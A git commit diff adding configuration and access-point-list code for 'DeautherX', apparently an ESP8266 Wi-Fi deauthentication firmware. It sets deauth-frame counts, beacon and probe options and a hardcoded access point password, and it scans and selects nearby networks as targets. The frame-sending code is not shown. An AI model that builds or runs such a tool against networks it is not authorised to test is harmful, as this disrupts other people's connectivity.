first commit
This commit is contained in:
520
DeautherX/A_config.h
Normal file
520
DeautherX/A_config.h
Normal file
@@ -0,0 +1,520 @@
|
||||
/* This software is licensed under the MIT License: https://github.com/BlackTechX011/DeautherX */
|
||||
|
||||
#pragma once
|
||||
|
||||
#define ENABLE_DEBUG
|
||||
#define DEBUG_PORT Serial
|
||||
#define DEBUG_BAUD 115200
|
||||
#define NAPT 1000
|
||||
#define NAPT_PORT 10
|
||||
|
||||
|
||||
|
||||
#define DEFAULT
|
||||
|
||||
|
||||
|
||||
// #define HACKHELD_VEGA
|
||||
// #define DISPLAY_EXAMPLE_I2C
|
||||
// #define DISPLAY_EXAMPLE_SPI
|
||||
|
||||
// Forces formatting of SPIFFS and EEPROM ot startup
|
||||
// #define FORMAT_SPIFFS
|
||||
// #define FORMAT_EEPROM
|
||||
|
||||
// //Forces a reset of all settings at startup
|
||||
// #define RESET_SETTINGS
|
||||
|
||||
// ========== CONFIGS ========== //
|
||||
|
||||
|
||||
#if defined(DEFAULT)
|
||||
// ===== LED ===== //
|
||||
#define LED_DIGITAL
|
||||
#define ONE_HIT 0
|
||||
#define LED_ANODE true
|
||||
#define LED_PIN_B 15
|
||||
|
||||
// ===== BAT ===== //
|
||||
#define USE_BAT false
|
||||
#define MAX_BAT 65
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
#define DISPLAY_TEXT "NKSP-G00N"
|
||||
#define FLIP_DIPLAY true
|
||||
#define LIGHT 16
|
||||
|
||||
|
||||
//#define SH1106_I2C // [ For 1.3 inch I2C OLED Display]
|
||||
#define SSD1306_I2C // [ For 0.96 inch I2C OLED Display]
|
||||
|
||||
|
||||
#define I2C_ADDR 0x3C
|
||||
#define I2C_SDA 4 // D2
|
||||
#define I2C_SCL 5 // D1
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 14 // D5
|
||||
#define BUTTON_DOWN 12 // D6
|
||||
#define BUTTON_A 2 // D4
|
||||
#define BUTTON_B 0 // D3
|
||||
|
||||
#define WEB_IP_ADDR (192, 168, 4, 1)
|
||||
#define WEB_URL "deauther.tools"
|
||||
|
||||
#elif defined(NODEMCU)
|
||||
#define LED_DIGITAL
|
||||
#define LED_PIN_B 2
|
||||
|
||||
#define LED_INT_OFF 0
|
||||
#define LED_INT_ATTACK 500
|
||||
#define LED_INT_SCAN 500
|
||||
#define LED_INT_IDLE 100
|
||||
|
||||
#elif defined(HACKHELD_VEGA)
|
||||
|
||||
// ===== BAT ===== //
|
||||
#define USE_BAT true
|
||||
#define MAX_BAT 65
|
||||
|
||||
// ===== LED ===== //
|
||||
#define USE_LED true
|
||||
#define LED_NEOPIXEL
|
||||
|
||||
#define LED_NEOPIXEL_GRB
|
||||
// #define LED_NEOPIXEL_RGB
|
||||
|
||||
#define LED_MODE_BRIGHTNESS 10
|
||||
|
||||
#define LED_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15 // D8
|
||||
#define LIGHT 16
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
#define DISPLAY_TEXT "NKSP-G00N"
|
||||
#define USE_DISPLAY true
|
||||
#define FLIP_DIPLAY true
|
||||
|
||||
#define SH1106_I2C
|
||||
|
||||
#define I2C_ADDR 0x3C
|
||||
#define I2C_SDA 4 // D2
|
||||
#define I2C_SCL 5 // D1
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 14 // D5
|
||||
#define BUTTON_DOWN 12 // D6
|
||||
#define BUTTON_A 2 // D4
|
||||
#define BUTTON_B 0 // D3
|
||||
|
||||
// https://github.com/BlackTechX011/DeautherX/wiki/Setup-Display-&-Buttons#example-setup-with-i2c-oled
|
||||
#elif defined(DISPLAY_EXAMPLE_I2C)
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
//#define SH1106_I2C
|
||||
#define SSD1306_I2C
|
||||
#define DISPLAY_TEXT "GitHub: BlackTechX011"
|
||||
#define I2C_ADDR 0x3C
|
||||
#define I2C_SDA 5
|
||||
#define I2C_SCL 4
|
||||
|
||||
// #define FLIP_DIPLAY true
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 14
|
||||
#define BUTTON_DOWN 12
|
||||
#define BUTTON_A 13
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_NEOPIXEL_GRB
|
||||
// #define LED_NEOPIXEL_RGB
|
||||
|
||||
#define LED_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 9
|
||||
#define LED_MODE_BRIGHTNESS 10
|
||||
|
||||
|
||||
// https://github.com/spacehuhntech/esp8266_deauther/wiki/Setup-Display-&-Buttons#example-setup-with-spi-oled
|
||||
#elif defined(DISPLAY_EXAMPLE_SPI)
|
||||
|
||||
#define SH1106_SPI
|
||||
// #define SSD1306_SPI
|
||||
#define DISPLAY_TEXT "GitHub: BlackTechX011"
|
||||
#define SPI_RES 5
|
||||
#define SPI_DC 4
|
||||
#define SPI_CS 15
|
||||
|
||||
// #define FLIP_DIPLAY true
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 0
|
||||
#define BUTTON_DOWN 12
|
||||
#define BUTTON_A 2
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_NEOPIXEL_GRB
|
||||
// #define LED_NEOPIXEL_RGB
|
||||
|
||||
#define LED_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 9
|
||||
#define LED_MODE_BRIGHTNESS 10
|
||||
|
||||
#elif defined(DEFAULT_ESP8266) || defined(NODEMCU) || defined(WEMOS_D1_MINI) || defined(DSTIKE_USB_DEAUTHER) || defined(DSTIKE_NODEMCU_07) || defined(DSTIKE_DEAUTHER_V1) || defined(DSTIKE_DEAUTHER_V2) || defined(DSTIKE_DEAUTHER_V3)
|
||||
// ===== LED ===== //
|
||||
// #define LED_DIGITAL
|
||||
// #define LED_PIN_R 16 // NodeMCU on-board LED
|
||||
// #define LED_PIN_B 2 // ESP-12 LEDS
|
||||
|
||||
#endif /* if defined(DEFAULT_ESP8266) || defined(NODEMCU) || defined(WEMOS_D1_MINI) || defined(DSTIKE_USB_DEAUTHER) || defined(DSTIKE_NODEMCU_07) || defined(DSTIKE_DEAUTHER) || defined(DSTIKE_DEAUTHER_V1) || defined(DSTIKE_DEAUTHER_V2) || defined(DSTIKE_DEAUTHER_V3) */
|
||||
// ============================== //
|
||||
|
||||
|
||||
// ========= FALLBACK ========= //
|
||||
|
||||
// ===== AUTOSAVE ===== //
|
||||
#ifndef USE_BAT
|
||||
#define USE_BAT false
|
||||
#endif
|
||||
#ifndef MAX_BAT
|
||||
#define MAX_BAT 65
|
||||
#endif
|
||||
#ifndef AUTOSAVE_ENABLED
|
||||
#define AUTOSAVE_ENABLED true
|
||||
#endif /* ifndef ATTACK_ALL_CH */
|
||||
|
||||
#ifndef AUTOSAVE_TIME
|
||||
#define AUTOSAVE_TIME 60
|
||||
#endif /* ifndef ATTACK_ALL_CH */
|
||||
|
||||
// ===== ATTACK ===== //
|
||||
#ifndef ATTACK_ALL_CH
|
||||
#define ATTACK_ALL_CH false
|
||||
#endif /* ifndef ATTACK_ALL_CH */
|
||||
|
||||
#ifndef RANDOM_TX
|
||||
#define RANDOM_TX false
|
||||
#endif /* ifndef RANDOM_TX */
|
||||
|
||||
#ifndef ATTACK_TIMEOUT
|
||||
#define ATTACK_TIMEOUT 0
|
||||
#endif /* ifndef ATTACK_TIMEOUT */
|
||||
|
||||
#ifndef DEAUTHS_PER_TARGET
|
||||
#define DEAUTHS_PER_TARGET 25
|
||||
#endif /* ifndef DEAUTHS_PER_TARGET */
|
||||
|
||||
#ifndef DEAUTH_REASON
|
||||
#define DEAUTH_REASON 1
|
||||
#endif /* ifndef DEAUTH_REASON */
|
||||
|
||||
#ifndef BEACON_INTERVAL_100MS
|
||||
#define BEACON_INTERVAL_100MS true
|
||||
#endif /* ifndef BEACON_INTERVAL_100MS */
|
||||
|
||||
#ifndef PROBE_FRAMES_PER_SSID
|
||||
#define PROBE_FRAMES_PER_SSID 1
|
||||
#endif /* ifndef PROBE_FRAMES_PER_SSID */
|
||||
|
||||
// ===== SNIFFER ===== //
|
||||
#ifndef CH_TIME
|
||||
#define CH_TIME 200
|
||||
#endif /* ifndef CH_TIME */
|
||||
|
||||
#ifndef MIN_DEAUTH_FRAMES
|
||||
#define MIN_DEAUTH_FRAMES 3
|
||||
#endif /* ifndef MIN_DEAUTH_FRAMES */
|
||||
|
||||
// ===== ACCESS POINT ===== //
|
||||
#ifndef AP_SSID
|
||||
#define AP_SSID "ZeeXyL19-kv84"
|
||||
#endif /* ifndef AP_SSID */
|
||||
|
||||
#ifndef AP_PASSWD
|
||||
#define AP_PASSWD "19841488"
|
||||
#endif /* ifndef AP_PASSWD */
|
||||
|
||||
#ifndef AP_HIDDEN
|
||||
#define AP_HIDDEN false
|
||||
#endif /* ifndef AP_HIDDEN */
|
||||
|
||||
#ifndef AP_IP_ADDR
|
||||
#define AP_IP_ADDR { 192, 168, 4, 1 }
|
||||
#endif /* ifndef AP_IP_ADDR */
|
||||
|
||||
// ===== WEB INTERFACE ===== //
|
||||
#ifndef WEB_ENABLED
|
||||
#define WEB_ENABLED true
|
||||
#endif /* ifndef WEB_ENABLED */
|
||||
|
||||
#ifndef WEB_CAPTIVE_PORTAL
|
||||
#define WEB_CAPTIVE_PORTAL false
|
||||
#endif /* ifndef WEB_CAPTIVE_PORTAL */
|
||||
|
||||
#ifndef WEB_USE_SPIFFS
|
||||
#define WEB_USE_SPIFFS false
|
||||
#endif /* ifndef WEB_USE_SPIFFS */
|
||||
|
||||
#ifndef DEFAULT_LANG
|
||||
#define DEFAULT_LANG "en"
|
||||
#endif /* ifndef DEFAULT_LANG */
|
||||
|
||||
// ===== CLI ===== //
|
||||
#ifndef CLI_ENABLED
|
||||
#define CLI_ENABLED true
|
||||
#endif /* ifndef CLI_ENABLED */
|
||||
|
||||
#ifndef CLI_ECHO
|
||||
#define CLI_ECHO true
|
||||
#endif /* ifndef CLI_ECHO */
|
||||
|
||||
// =============== LED =============== //
|
||||
#if defined(LED_NEOPIXEL_RGB) || defined(LED_NEOPIXEL_GRB)
|
||||
#define LED_NEOPIXEL
|
||||
#endif /* if defined(LED_NEOPIXEL_RGB) || defined(LED_NEOPIXEL_GRB) */
|
||||
|
||||
#if !defined(LED_DIGITAL) && !defined(LED_RGB) && !defined(LED_NEOPIXEL) && !defined(LED_MY92) && !defined(LED_DOTSTAR)
|
||||
#define LED_DIGITAL
|
||||
#define USE_LED false
|
||||
#else // if !defined(LED_DIGITAL) && !defined(LED_RGB) && !defined(LED_NEOPIXEL) && !defined(LED_MY92) && !defined(LED_DOTSTAR)
|
||||
#define USE_LED true
|
||||
#endif // if !defined(LED_DIGITAL) && !defined(LED_RGB) && !defined(LED_NEOPIXEL) && !defined(LED_MY92) && !defined(LED_DOTSTAR)
|
||||
|
||||
#ifndef LED_PIN_R
|
||||
#define LED_PIN_R 255
|
||||
#endif /* ifndef LED_PIN_R */
|
||||
|
||||
#ifndef LED_PIN_G
|
||||
#define LED_PIN_G 255
|
||||
#endif /* ifndef LED_PIN_G */
|
||||
|
||||
#ifndef LED_PIN_B
|
||||
#define LED_PIN_B 255
|
||||
#endif /* ifndef LED_PIN_B */
|
||||
|
||||
#ifndef LED_ANODE
|
||||
#define LED_ANODE false
|
||||
#endif /* ifndef LED_ANODE */
|
||||
|
||||
#ifndef LED_MODE_OFF
|
||||
#define LED_MODE_OFF 0, 0, 0
|
||||
#endif /* ifndef LED_MODE_OFF */
|
||||
|
||||
#ifndef LED_MODE_SCAN
|
||||
#define LED_MODE_SCAN 0, 0, 255
|
||||
#endif /* ifndef LED_MODE_SCAN */
|
||||
|
||||
#ifndef LED_MODE_ATTACK
|
||||
#define LED_MODE_ATTACK 255, 0, 0
|
||||
#endif /* ifndef LED_MODE_ATTACK */
|
||||
|
||||
#ifndef LED_MODE_IDLE
|
||||
#define LED_MODE_IDLE 0, 255, 0
|
||||
#endif /* ifndef LED_MODE_IDLE */
|
||||
|
||||
#ifndef LED_MODE_BRIGHTNESS
|
||||
#define LED_MODE_BRIGHTNESS 10
|
||||
#endif /* ifndef LED_MODE_BRIGHTNESS */
|
||||
|
||||
// =============== DISPLAY =============== //
|
||||
|
||||
#ifndef DISPLAY_TIMEOUT
|
||||
#define DISPLAY_TIMEOUT 1000
|
||||
#endif /* ifndef DISPLAY_TIMEOUT */
|
||||
|
||||
#ifndef DISPLAY_TEXT
|
||||
#define DISPLAY_TEXT ""
|
||||
#endif /* ifndef DISPLAY_TEXT */
|
||||
|
||||
#ifndef FLIP_DIPLAY
|
||||
#define FLIP_DIPLAY false
|
||||
#endif /* ifndef FLIP_DIPLAY */
|
||||
|
||||
#if !defined(SSD1306_I2C) && !defined(SSD1306_SPI) && !defined(SH1106_I2C) && !defined(SH1106_SPI)
|
||||
#define SSD1306_I2C
|
||||
#define USE_DISPLAY false
|
||||
#else /* if !defined(SSD1306_I2C) && !defined(SSD1306_SPI) && !defined(SH1106_I2C) && !defined(SH1106_SPI) */
|
||||
#define USE_DISPLAY true
|
||||
#endif /* if !defined(SSD1306_I2C) && !defined(SSD1306_SPI) && !defined(SH1106_I2C) && !defined(SH1106_SPI) */
|
||||
|
||||
#ifndef I2C_ADDR
|
||||
#define I2C_ADDR 0x3C
|
||||
#endif /* ifndef I2C_ADDR */
|
||||
|
||||
#ifndef I2C_SDA
|
||||
#define I2C_SDA 5
|
||||
#endif /* ifndef I2C_SDA */
|
||||
|
||||
#ifndef I2C_SCL
|
||||
#define I2C_SCL 4
|
||||
#endif /* ifndef I2C_SCL */
|
||||
|
||||
#ifndef SPI_RES
|
||||
#define SPI_RES 5
|
||||
#endif /* ifndef SPI_RES */
|
||||
|
||||
#ifndef SPI_DC
|
||||
#define SPI_DC 4
|
||||
#endif /* ifndef SPI_DC */
|
||||
|
||||
#ifndef SPI_CS
|
||||
#define SPI_CS 15
|
||||
#endif /* ifndef SPI_CS */
|
||||
|
||||
// =============== BUTTONS =============== //
|
||||
#ifndef BUTTON_UP
|
||||
#define BUTTON_UP 255
|
||||
#endif // ifndef BUTTON_UP
|
||||
|
||||
#ifndef BUTTON_DOWN
|
||||
#define BUTTON_DOWN 255
|
||||
#endif // ifndef BUTTON_DOWN
|
||||
|
||||
#ifndef BUTTON_A
|
||||
#define BUTTON_A 255
|
||||
#endif // ifndef BUTTON_A
|
||||
|
||||
#ifndef BUTTON_B
|
||||
#define BUTTON_B 255
|
||||
#endif // ifndef BUTTON_B
|
||||
|
||||
// ===== Reset ====== //
|
||||
#ifndef RESET_BUTTON
|
||||
#if BUTTON_UP != 0 && BUTTON_DOWN != 0 && BUTTON_A != 0 && BUTTON_B != 0
|
||||
#define RESET_BUTTON 0
|
||||
#else // if BUTTON_UP != 0 && BUTTON_DOWN != 0 && BUTTON_A != 0 && BUTTON_B != 0
|
||||
#define RESET_BUTTON 255
|
||||
#endif // if BUTTON_UP != 0 && BUTTON_DOWN != 0 && BUTTON_A != 0 && BUTTON_B != 0
|
||||
#endif // ifndef RESET_BUTTON
|
||||
|
||||
// ===== Web ===== //
|
||||
#ifndef WEB_IP_ADDR
|
||||
#define WEB_IP_ADDR (192, 168, 4, 1)
|
||||
#endif // ifndef WEB_IP_ADDR
|
||||
|
||||
#ifndef WEB_URL
|
||||
#define WEB_URL "DeautherX.local"
|
||||
#endif // ifndef WEB_URL
|
||||
|
||||
// ======== CONSTANTS ========== //
|
||||
// Do not change these values unless you know what you're doing!
|
||||
#define DEAUTHER_VERSION "1.8"
|
||||
#define DEAUTHER_VERSION_MAJOR 2
|
||||
#define DEAUTHER_VERSION_MINOR 6
|
||||
#define DEAUTHER_VERSION_REVISION 1
|
||||
|
||||
#define EEPROM_SIZE 4095
|
||||
#define BOOT_COUNTER_ADDR 1
|
||||
#define SETTINGS_ADDR 100
|
||||
|
||||
// ======== AVAILABLE SETTINGS ========== //
|
||||
|
||||
|
||||
/*
|
||||
// ===== ATTACK ===== //
|
||||
#define ATTACK_ALL_CH false
|
||||
#define RANDOM_TX false
|
||||
#define ATTACK_TIMEOUT 600
|
||||
#define DEAUTHS_PER_TARGET 25
|
||||
#define DEAUTH_REASON 1
|
||||
#define BEACON_INTERVAL_100MS true
|
||||
#define PROBE_FRAMES_PER_SSID 1
|
||||
|
||||
// ====== SNIFFER ====== //
|
||||
#define CH_TIME 200
|
||||
#define MIN_DEAUTH_FRAMES 3
|
||||
|
||||
// ===== ACCESS POINT ===== //
|
||||
#define AP_SSID "pwned"
|
||||
#define AP_PASSWD "deauther"
|
||||
#define AP_HIDDEN false
|
||||
#define AP_IP_ADDR {192, 168, 4, 1}
|
||||
|
||||
// ===== WEB INTERFACE ===== //
|
||||
#define WEB_ENABLED true
|
||||
#define WEB_CAPTIVE_PORTAL false
|
||||
#define WEB_USE_SPIFFS false
|
||||
#define DEFAULT_LANG "en"
|
||||
|
||||
// ===== CLI ===== //
|
||||
#define CLI_ENABLED true
|
||||
#define CLI_ECHO true
|
||||
|
||||
// ===== LED ===== //
|
||||
#define USE_LED true
|
||||
#define LED_DIGITAL
|
||||
#define LED_RGB
|
||||
#define LED_NEOPIXEL
|
||||
#define LED_MY92
|
||||
|
||||
#define LED_ANODE false
|
||||
|
||||
#define LED_PIN_R 16
|
||||
#define LED_PIN_G 255
|
||||
#define LED_PIN_B 2
|
||||
|
||||
#define LED_NEOPIXEL_RGB
|
||||
#define LED_NEOPIXEL_GRB
|
||||
|
||||
#define LED_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 255
|
||||
|
||||
#define LED_MODE_OFF 0,0,0
|
||||
#define LED_MODE_SCAN 0,0,255
|
||||
#define LED_MODE_ATTACK 255,0,0
|
||||
#define LED_MODE_IDLE 0,255,0
|
||||
#define LED_MODE_BRIGHTNESS 10
|
||||
|
||||
#define LED_NUM 1
|
||||
#define LED_MY92_DATA 4
|
||||
#define LED_MY92_CLK 5
|
||||
#define LED_MY92_CH_R 0
|
||||
#define LED_MY92_CH_G 1
|
||||
#define LED_MY92_CH_B 2
|
||||
#define LED_MY92_CH_BRIGHTNESS 3
|
||||
#define LED_MY92_MODEL MY92XX_MODEL_MY9291
|
||||
#define LED_MY92_MODEL MY92XX_MODEL_MY9231
|
||||
|
||||
#define LED_DOTSTAR
|
||||
#define LED_NUM 1
|
||||
#define LED_DOTSTAR_CLK 12
|
||||
#define LED_DOTSTAR_DATA 13
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
#define USE_DISPLAY false
|
||||
#define DISPLAY_TIMEOUT 600
|
||||
#define FLIP_DIPLAY false
|
||||
|
||||
#define SSD1306_I2C
|
||||
#define SSD1306_SPI
|
||||
#define SH1106_I2C
|
||||
#define SH1106_SPI
|
||||
|
||||
#define I2C_ADDR 0x3C
|
||||
#define I2C_SDA 5
|
||||
#define I2C_SCL 4
|
||||
|
||||
#define SPI_RES 5
|
||||
#define SPI_DC 4
|
||||
#define SPI_CS 15
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 255
|
||||
#define BUTTON_DOWN 255
|
||||
#define BUTTON_A 255
|
||||
#define BUTTON_B 255
|
||||
|
||||
// ===== Reset ====== //
|
||||
#define RESET_BUTTON 5
|
||||
|
||||
|
||||
// ===== Web ===== //
|
||||
#define WEB_IP_ADDR (192, 168, 4, 1)
|
||||
#define WEB_URL "deauth.me"
|
||||
|
||||
*/
|
||||
|
||||
|
||||
// ========== ERROR CHECKS ========== //
|
||||
#if LED_MODE_BRIGHTNESS == 0
|
||||
#error LED_MODE_BRIGHTNESS must not be zero!
|
||||
#endif /* if LED_MODE_BRIGHTNESS == 0 */
|
||||
314
DeautherX/Accesspoints.cpp
Normal file
314
DeautherX/Accesspoints.cpp
Normal file
@@ -0,0 +1,314 @@
|
||||
/* This software is licensed under the MIT License: https://github.com/BlackTechX011/DeautherX */
|
||||
|
||||
#include "Accesspoints.h"
|
||||
|
||||
Accesspoints::Accesspoints() {
|
||||
list = new SimpleList<AP>;
|
||||
}
|
||||
|
||||
void Accesspoints::sort() {
|
||||
list->setCompare([](AP& a, AP& b) -> int {
|
||||
if (WiFi.RSSI(a.id) > WiFi.RSSI(b.id)) return -1;
|
||||
|
||||
if (WiFi.RSSI(a.id) == WiFi.RSSI(b.id)) return 0;
|
||||
|
||||
return 1;
|
||||
});
|
||||
list->sort();
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::sortAfterChannel() {
|
||||
list->setCompare([](AP& a, AP& b) -> int {
|
||||
if (WiFi.channel(a.id) < WiFi.channel(b.id)) return -1;
|
||||
|
||||
if (WiFi.channel(a.id) == WiFi.channel(b.id)) return 0;
|
||||
|
||||
return 1;
|
||||
});
|
||||
list->sort();
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::add(uint8_t id, bool selected) {
|
||||
list->add(AP{ id, selected });
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::printAll() {
|
||||
prntln(AP_HEADER);
|
||||
int c = count();
|
||||
|
||||
if (c == 0) prntln(AP_LIST_EMPTY);
|
||||
else
|
||||
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
|
||||
}
|
||||
|
||||
void Accesspoints::printSelected() {
|
||||
prntln(AP_HEADER);
|
||||
int max = selected();
|
||||
|
||||
if (selected() == 0) {
|
||||
prntln(AP_NO_AP_SELECTED);
|
||||
return;
|
||||
}
|
||||
int c = count();
|
||||
int j = 0;
|
||||
|
||||
for (int i = 0; i < c && j < max; i++) {
|
||||
if (getSelected(i)) {
|
||||
print(i, j == 0, j == max - 1);
|
||||
j++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Accesspoints::print(int num) {
|
||||
print(num, true, true);
|
||||
}
|
||||
|
||||
void Accesspoints::print(int num, bool header, bool footer) {
|
||||
if (!check(num)) return;
|
||||
|
||||
if (header) {
|
||||
prntln(AP_TABLE_HEADER);
|
||||
prntln(AP_TABLE_DIVIDER);
|
||||
}
|
||||
prnt(leftRight(String(), (String)num, 2));
|
||||
prnt(leftRight(String(SPACE) + getSSID(num), String(), 33));
|
||||
prnt(leftRight(String(SPACE) + getNameStr(num), String(), 17));
|
||||
prnt(leftRight(String(SPACE), (String)getCh(num), 3));
|
||||
prnt(leftRight(String(SPACE), (String)getRSSI(num), 5));
|
||||
prnt(leftRight(String(SPACE), getEncStr(num), 5));
|
||||
prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18));
|
||||
prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9));
|
||||
prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9));
|
||||
|
||||
if (footer) {
|
||||
prntln(AP_TABLE_DIVIDER);
|
||||
}
|
||||
}
|
||||
|
||||
String Accesspoints::getSSID(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
if (getHidden(num)) {
|
||||
return str(AP_HIDDE_SSID);
|
||||
} else {
|
||||
String ssid = WiFi.SSID(getID(num));
|
||||
ssid = ssid.substring(0, 32);
|
||||
ssid = fixUtf8(ssid);
|
||||
return ssid;
|
||||
}
|
||||
}
|
||||
|
||||
String Accesspoints::getNameStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
return names.find(getMac(num));
|
||||
}
|
||||
|
||||
uint8_t Accesspoints::getCh(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return WiFi.channel(getID(num));
|
||||
}
|
||||
|
||||
int Accesspoints::getRSSI(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return WiFi.RSSI(getID(num));
|
||||
}
|
||||
|
||||
uint8_t Accesspoints::getEnc(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return WiFi.encryptionType(getID(num));
|
||||
}
|
||||
|
||||
String Accesspoints::getEncStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
switch (getEnc(num)) {
|
||||
case ENC_TYPE_NONE:
|
||||
return String(DASH);
|
||||
|
||||
break;
|
||||
|
||||
case ENC_TYPE_WEP:
|
||||
return str(AP_WEP);
|
||||
|
||||
break;
|
||||
|
||||
case ENC_TYPE_TKIP:
|
||||
return str(AP_WPA);
|
||||
|
||||
break;
|
||||
|
||||
case ENC_TYPE_CCMP:
|
||||
return str(AP_WPA2);
|
||||
|
||||
break;
|
||||
|
||||
case ENC_TYPE_AUTO:
|
||||
return str(AP_AUTO);
|
||||
|
||||
break;
|
||||
}
|
||||
return String(QUESTIONMARK);
|
||||
}
|
||||
|
||||
String Accesspoints::getSelectedStr(int num) {
|
||||
return b2a(getSelected(num));
|
||||
}
|
||||
|
||||
uint8_t* Accesspoints::getMac(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return WiFi.BSSID(getID(num));
|
||||
}
|
||||
|
||||
String Accesspoints::getMacStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
uint8_t* mac = getMac(num);
|
||||
|
||||
return bytesToStr(mac, 6);
|
||||
}
|
||||
|
||||
String Accesspoints::getVendorStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
return searchVendor(getMac(num));
|
||||
}
|
||||
|
||||
bool Accesspoints::getHidden(int num) {
|
||||
if (!check(num)) return false;
|
||||
|
||||
return WiFi.isHidden(getID(num));
|
||||
}
|
||||
|
||||
bool Accesspoints::getSelected(int num) {
|
||||
if (!check(num)) return false;
|
||||
|
||||
return list->get(num).selected;
|
||||
}
|
||||
|
||||
uint8_t Accesspoints::getID(int num) {
|
||||
if (!check(num)) return -1;
|
||||
|
||||
return list->get(num).id;
|
||||
}
|
||||
|
||||
void Accesspoints::select(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_select(num);
|
||||
|
||||
prnt(AP_SELECTED);
|
||||
prntln(getSSID(num));
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::deselect(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_deselect(num);
|
||||
|
||||
prnt(AP_DESELECTED);
|
||||
prntln(getSSID(num));
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::remove(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
prnt(AP_REMOVED);
|
||||
prntln(getSSID(num));
|
||||
|
||||
internal_remove(num);
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::select(String ssid) {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (getSSID(i).equalsIgnoreCase(ssid)) select(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Accesspoints::deselect(String ssid) {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (getSSID(i).equalsIgnoreCase(ssid)) deselect(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Accesspoints::remove(String ssid) {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (getSSID(i).equalsIgnoreCase(ssid)) remove(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Accesspoints::selectAll() {
|
||||
for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, true });
|
||||
prntln(AP_SELECTED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::deselectAll() {
|
||||
for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, false });
|
||||
prntln(AP_DESELECTED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::removeAll() {
|
||||
while (count() > 0) internal_remove(0);
|
||||
prntln(AP_REMOVED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
int Accesspoints::find(uint8_t id) {
|
||||
int s = list->size();
|
||||
|
||||
for (int i = 0; i < s; i++) {
|
||||
if (list->get(i).id == id) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
int Accesspoints::count() {
|
||||
return list->size();
|
||||
}
|
||||
|
||||
int Accesspoints::selected() {
|
||||
int c = 0;
|
||||
|
||||
for (int i = 0; i < list->size(); i++) c += list->get(i).selected;
|
||||
return c;
|
||||
}
|
||||
|
||||
bool Accesspoints::check(int num) {
|
||||
if (internal_check(num)) return true;
|
||||
|
||||
prnt(AP_NO_AP_ERROR);
|
||||
prntln((String)num);
|
||||
return false;
|
||||
}
|
||||
|
||||
bool Accesspoints::internal_check(int num) {
|
||||
return num >= 0 && num < count();
|
||||
}
|
||||
|
||||
void Accesspoints::internal_select(int num) {
|
||||
list->replace(num, AP{ list->get(num).id, true });
|
||||
}
|
||||
|
||||
void Accesspoints::internal_deselect(int num) {
|
||||
list->replace(num, AP{ list->get(num).id, false });
|
||||
}
|
||||
|
||||
void Accesspoints::internal_remove(int num) {
|
||||
list->remove(num);
|
||||
}
|
||||
80
DeautherX/Accesspoints.h
Normal file
80
DeautherX/Accesspoints.h
Normal file
@@ -0,0 +1,80 @@
|
||||
/* This software is licensed under the MIT License: https://github.com/BlackTechX011/DeautherX */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <ESP8266WiFi.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "language.h"
|
||||
#include "SimpleList.h"
|
||||
#include "Names.h"
|
||||
|
||||
extern Names names;
|
||||
|
||||
extern String searchVendor(uint8_t* mac);
|
||||
extern String leftRight(String a, String b, int len);
|
||||
extern String fixUtf8(String str);
|
||||
extern String bytesToStr(const uint8_t* b, uint32_t size);
|
||||
|
||||
struct AP {
|
||||
uint8_t id;
|
||||
bool selected;
|
||||
};
|
||||
|
||||
class Accesspoints {
|
||||
public:
|
||||
Accesspoints();
|
||||
|
||||
void sort();
|
||||
void sortAfterChannel();
|
||||
|
||||
void add(uint8_t id, bool selected);
|
||||
|
||||
